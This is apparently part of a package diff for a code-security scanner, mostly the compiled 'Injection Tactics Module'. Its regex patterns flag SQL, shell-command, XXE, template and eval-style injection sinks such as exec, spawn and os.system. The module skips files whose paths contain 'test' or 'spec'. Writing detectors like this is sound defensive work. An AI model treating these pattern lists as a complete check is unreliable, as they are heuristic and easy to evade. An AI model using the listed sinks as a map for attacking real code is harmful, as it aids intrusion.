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"}
|
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Injection Tactics Module
|
|
3
|
+
*
|
|
4
|
+
* Detects injection vulnerabilities including SQL, Command, XXE, SSTI,
|
|
5
|
+
* and Code injection. Priority 1 - most common vulnerability class.
|
|
6
|
+
*
|
|
7
|
+
* @module agents/adversary/tactics/injection
|
|
8
|
+
*/
|
|
9
|
+
import type { TacticModule } from "./index.js";
|
|
10
|
+
declare const injectionTactic: TacticModule;
|
|
11
|
+
export { injectionTactic };
|
|
12
|
+
//# sourceMappingURL=injection.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"injection.d.ts","sourceRoot":"","sources":["../../../../src/agents/adversary/tactics/injection.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AAGH,OAAO,KAAK,EACV,YAAY,EAKb,MAAM,YAAY,CAAC;AA8LpB,QAAA,MAAM,eAAe,EAAE,YAuItB,CAAC;AAwQF,OAAO,EAAE,eAAe,EAAE,CAAC"}
|
|
@@ -0,0 +1,549 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Injection Tactics Module
|
|
3
|
+
*
|
|
4
|
+
* Detects injection vulnerabilities including SQL, Command, XXE, SSTI,
|
|
5
|
+
* and Code injection. Priority 1 - most common vulnerability class.
|
|
6
|
+
*
|
|
7
|
+
* @module agents/adversary/tactics/injection
|
|
8
|
+
*/
|
|
9
|
+
import { registerTactic, generateFindingId, } from "./index.js";
|
|
10
|
+
// ============================================================================
|
|
11
|
+
// Patterns
|
|
12
|
+
// ============================================================================
|
|
13
|
+
const SQL_INJECTION_PATTERNS = [
|
|
14
|
+
{
|
|
15
|
+
id: "sql-string-concat",
|
|
16
|
+
name: "SQL String Concatenation",
|
|
17
|
+
description: "SQL query built with string concatenation",
|
|
18
|
+
cwe: "CWE-89",
|
|
19
|
+
severity: "critical",
|
|
20
|
+
regex: /(?:query|sql|execute|exec)\s*\(\s*[`'"].*?\$\{|(?:query|sql|execute)\s*\(\s*['"].*?\+/gi,
|
|
21
|
+
},
|
|
22
|
+
{
|
|
23
|
+
id: "sql-raw-query",
|
|
24
|
+
name: "Raw SQL Query with Variables",
|
|
25
|
+
description: "Raw SQL query with interpolated variables",
|
|
26
|
+
cwe: "CWE-89",
|
|
27
|
+
severity: "critical",
|
|
28
|
+
regex: /(?:SELECT|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|TRUNCATE)\s+.*?\$\{|\braw\s*\(\s*[`'"].*?\$\{/gi,
|
|
29
|
+
},
|
|
30
|
+
{
|
|
31
|
+
id: "sql-format-string",
|
|
32
|
+
name: "SQL Format String",
|
|
33
|
+
description: "SQL query using format strings or f-strings",
|
|
34
|
+
cwe: "CWE-89",
|
|
35
|
+
severity: "critical",
|
|
36
|
+
regex: /f['"'](?:SELECT|INSERT|UPDATE|DELETE).*?\{|\.format\s*\(.*?(?:SELECT|INSERT|UPDATE|DELETE)/gi,
|
|
37
|
+
},
|
|
38
|
+
{
|
|
39
|
+
id: "sql-prisma-raw",
|
|
40
|
+
name: "Prisma Raw Query",
|
|
41
|
+
description: "Prisma $queryRaw or $executeRaw with template literals",
|
|
42
|
+
cwe: "CWE-89",
|
|
43
|
+
severity: "high",
|
|
44
|
+
regex: /\$(?:queryRaw|executeRaw)\s*`[^`]*\$\{/gi,
|
|
45
|
+
},
|
|
46
|
+
];
|
|
47
|
+
const COMMAND_INJECTION_PATTERNS = [
|
|
48
|
+
{
|
|
49
|
+
id: "cmd-exec-concat",
|
|
50
|
+
name: "Command Execution with Concatenation",
|
|
51
|
+
description: "Shell command built with string concatenation",
|
|
52
|
+
cwe: "CWE-78",
|
|
53
|
+
severity: "critical",
|
|
54
|
+
regex: /(?:exec|execSync|spawn|spawnSync|system|popen)\s*\([^)]*\$\{|(?:exec|execSync)\s*\([^)]*\+/gi,
|
|
55
|
+
},
|
|
56
|
+
{
|
|
57
|
+
id: "cmd-shell-true",
|
|
58
|
+
name: "Shell True with User Input",
|
|
59
|
+
description: "spawn/exec with shell:true and potential user input",
|
|
60
|
+
cwe: "CWE-78",
|
|
61
|
+
severity: "critical",
|
|
62
|
+
regex: /spawn\s*\([^)]*,\s*\{[^}]*shell\s*:\s*true/gi,
|
|
63
|
+
},
|
|
64
|
+
{
|
|
65
|
+
id: "cmd-backtick",
|
|
66
|
+
name: "Shell Backtick Execution",
|
|
67
|
+
description: "Backtick shell execution with variables",
|
|
68
|
+
cwe: "CWE-78",
|
|
69
|
+
severity: "critical",
|
|
70
|
+
regex: /child_process.*?`.*?\$\{/gi,
|
|
71
|
+
},
|
|
72
|
+
{
|
|
73
|
+
id: "cmd-os-system",
|
|
74
|
+
name: "OS System Call",
|
|
75
|
+
description: "Python os.system or subprocess with shell=True",
|
|
76
|
+
cwe: "CWE-78",
|
|
77
|
+
severity: "critical",
|
|
78
|
+
regex: /os\.system\s*\(.*?f['"']|subprocess\.[^)]*shell\s*=\s*True/gi,
|
|
79
|
+
},
|
|
80
|
+
];
|
|
81
|
+
const XXE_PATTERNS = [
|
|
82
|
+
{
|
|
83
|
+
id: "xxe-parse-no-disable",
|
|
84
|
+
name: "XML Parsing Without DTD Disabled",
|
|
85
|
+
description: "XML parsing without disabling external entities",
|
|
86
|
+
cwe: "CWE-611",
|
|
87
|
+
severity: "high",
|
|
88
|
+
regex: /(?:parseString|parse|fromstring|XMLParser)\s*\([^)]*\)(?![^;]*(?:resolve_entities|no_network|DTD|external_entities))/gi,
|
|
89
|
+
},
|
|
90
|
+
{
|
|
91
|
+
id: "xxe-dom-parser",
|
|
92
|
+
name: "DOMParser Without Configuration",
|
|
93
|
+
description: "DOMParser used without secure configuration",
|
|
94
|
+
cwe: "CWE-611",
|
|
95
|
+
severity: "medium",
|
|
96
|
+
regex: /new\s+DOMParser\s*\(\s*\)/gi,
|
|
97
|
+
},
|
|
98
|
+
{
|
|
99
|
+
id: "xxe-libxml",
|
|
100
|
+
name: "libxml2 Unsafe Defaults",
|
|
101
|
+
description: "libxml2 parsing with potentially unsafe defaults",
|
|
102
|
+
cwe: "CWE-611",
|
|
103
|
+
severity: "high",
|
|
104
|
+
regex: /etree\.parse|etree\.fromstring|lxml\.etree/gi,
|
|
105
|
+
},
|
|
106
|
+
];
|
|
107
|
+
const SSTI_PATTERNS = [
|
|
108
|
+
{
|
|
109
|
+
id: "ssti-handlebars",
|
|
110
|
+
name: "Handlebars Template with User Input",
|
|
111
|
+
description: "Handlebars.compile with potential user-controlled template",
|
|
112
|
+
cwe: "CWE-1336",
|
|
113
|
+
severity: "critical",
|
|
114
|
+
regex: /Handlebars\.compile\s*\([^)]*(?:req\.|params\.|query\.|body\.|\$\{)/gi,
|
|
115
|
+
},
|
|
116
|
+
{
|
|
117
|
+
id: "ssti-ejs-render",
|
|
118
|
+
name: "EJS Render with User Input",
|
|
119
|
+
description: "EJS render with user-controlled data",
|
|
120
|
+
cwe: "CWE-1336",
|
|
121
|
+
severity: "high",
|
|
122
|
+
regex: /ejs\.render\s*\([^,]*,[^)]*(?:req\.|params\.|query\.|body\.)/gi,
|
|
123
|
+
},
|
|
124
|
+
{
|
|
125
|
+
id: "ssti-jinja2",
|
|
126
|
+
name: "Jinja2 Template from String",
|
|
127
|
+
description: "Jinja2 Template() with user-controlled string",
|
|
128
|
+
cwe: "CWE-1336",
|
|
129
|
+
severity: "critical",
|
|
130
|
+
regex: /Template\s*\([^)]*(?:request\.|args\.|form\.|f['"'])/gi,
|
|
131
|
+
},
|
|
132
|
+
{
|
|
133
|
+
id: "ssti-pug-compile",
|
|
134
|
+
name: "Pug Compile with User Input",
|
|
135
|
+
description: "Pug.compile with user-controlled template",
|
|
136
|
+
cwe: "CWE-1336",
|
|
137
|
+
severity: "high",
|
|
138
|
+
regex: /pug\.compile\s*\([^)]*(?:req\.|params\.|query\.|body\.)/gi,
|
|
139
|
+
},
|
|
140
|
+
];
|
|
141
|
+
const CODE_INJECTION_PATTERNS = [
|
|
142
|
+
{
|
|
143
|
+
id: "code-eval",
|
|
144
|
+
name: "Eval with User Input",
|
|
145
|
+
description: "eval() with potentially user-controlled input",
|
|
146
|
+
cwe: "CWE-94",
|
|
147
|
+
severity: "critical",
|
|
148
|
+
regex: /\beval\s*\([^)]*(?:req\.|params\.|query\.|body\.|\$\{|input|data|user)/gi,
|
|
149
|
+
},
|
|
150
|
+
{
|
|
151
|
+
id: "code-function-constructor",
|
|
152
|
+
name: "Function Constructor",
|
|
153
|
+
description: "new Function() with dynamic code",
|
|
154
|
+
cwe: "CWE-94",
|
|
155
|
+
severity: "critical",
|
|
156
|
+
regex: /new\s+Function\s*\([^)]*(?:\+|\$\{|concat)/gi,
|
|
157
|
+
},
|
|
158
|
+
{
|
|
159
|
+
id: "code-vm-run",
|
|
160
|
+
name: "VM RunIn* with User Input",
|
|
161
|
+
description: "Node.js vm.runIn* with user-controlled code",
|
|
162
|
+
cwe: "CWE-94",
|
|
163
|
+
severity: "critical",
|
|
164
|
+
regex: /vm\.runIn(?:Context|NewContext|ThisContext)\s*\([^)]*(?:req\.|body\.|params\.|\$\{)/gi,
|
|
165
|
+
},
|
|
166
|
+
{
|
|
167
|
+
id: "code-python-exec",
|
|
168
|
+
name: "Python exec/compile",
|
|
169
|
+
description: "Python exec() or compile() with user input",
|
|
170
|
+
cwe: "CWE-94",
|
|
171
|
+
severity: "critical",
|
|
172
|
+
regex: /(?:exec|compile)\s*\([^)]*(?:request\.|args\.|form\.|input\()/gi,
|
|
173
|
+
},
|
|
174
|
+
{
|
|
175
|
+
id: "code-settimeout-string",
|
|
176
|
+
name: "setTimeout/setInterval with String",
|
|
177
|
+
description: "setTimeout/setInterval with string argument",
|
|
178
|
+
cwe: "CWE-94",
|
|
179
|
+
severity: "medium",
|
|
180
|
+
regex: /set(?:Timeout|Interval)\s*\(\s*[`'"]/gi,
|
|
181
|
+
},
|
|
182
|
+
];
|
|
183
|
+
// ============================================================================
|
|
184
|
+
// Tactic Implementation
|
|
185
|
+
// ============================================================================
|
|
186
|
+
const injectionTactic = {
|
|
187
|
+
focusArea: "injection",
|
|
188
|
+
name: "Injection",
|
|
189
|
+
description: "Detects SQL, Command, XXE, SSTI, and Code injection vulnerabilities",
|
|
190
|
+
patterns: [
|
|
191
|
+
...SQL_INJECTION_PATTERNS,
|
|
192
|
+
...COMMAND_INJECTION_PATTERNS,
|
|
193
|
+
...XXE_PATTERNS,
|
|
194
|
+
...SSTI_PATTERNS,
|
|
195
|
+
...CODE_INJECTION_PATTERNS,
|
|
196
|
+
],
|
|
197
|
+
async analyzeFile(file, config) {
|
|
198
|
+
const findings = [];
|
|
199
|
+
for (const pattern of this.patterns) {
|
|
200
|
+
if (!pattern.regex)
|
|
201
|
+
continue;
|
|
202
|
+
// Reset regex state
|
|
203
|
+
pattern.regex.lastIndex = 0;
|
|
204
|
+
let match;
|
|
205
|
+
while ((match = pattern.regex.exec(file.content)) !== null) {
|
|
206
|
+
// Calculate line number
|
|
207
|
+
const beforeMatch = file.content.substring(0, match.index);
|
|
208
|
+
const lineNum = (beforeMatch.match(/\n/g) || []).length + 1;
|
|
209
|
+
// Skip if in comment
|
|
210
|
+
const line = file.lines[lineNum - 1] || "";
|
|
211
|
+
if (isInComment(line, match.index - beforeMatch.lastIndexOf("\n"))) {
|
|
212
|
+
continue;
|
|
213
|
+
}
|
|
214
|
+
// Skip if in test file
|
|
215
|
+
if (file.relativePath.includes("test") || file.relativePath.includes("spec")) {
|
|
216
|
+
continue;
|
|
217
|
+
}
|
|
218
|
+
const finding = {
|
|
219
|
+
id: generateFindingId("injection", file.relativePath, lineNum, pattern.id),
|
|
220
|
+
tacticName: "injection",
|
|
221
|
+
focusArea: "injection",
|
|
222
|
+
patternId: pattern.id,
|
|
223
|
+
file: file.relativePath,
|
|
224
|
+
line: lineNum,
|
|
225
|
+
message: `${pattern.name}: ${pattern.description}`,
|
|
226
|
+
severity: pattern.severity,
|
|
227
|
+
confidence: calculateConfidence(match[0], pattern, file),
|
|
228
|
+
evidence: match[0].substring(0, 200),
|
|
229
|
+
cweIds: [pattern.cwe],
|
|
230
|
+
mitreIds: getMitreIds(pattern.id),
|
|
231
|
+
suggestedFix: getSuggestedFix(pattern.id),
|
|
232
|
+
};
|
|
233
|
+
findings.push(finding);
|
|
234
|
+
}
|
|
235
|
+
}
|
|
236
|
+
return findings;
|
|
237
|
+
},
|
|
238
|
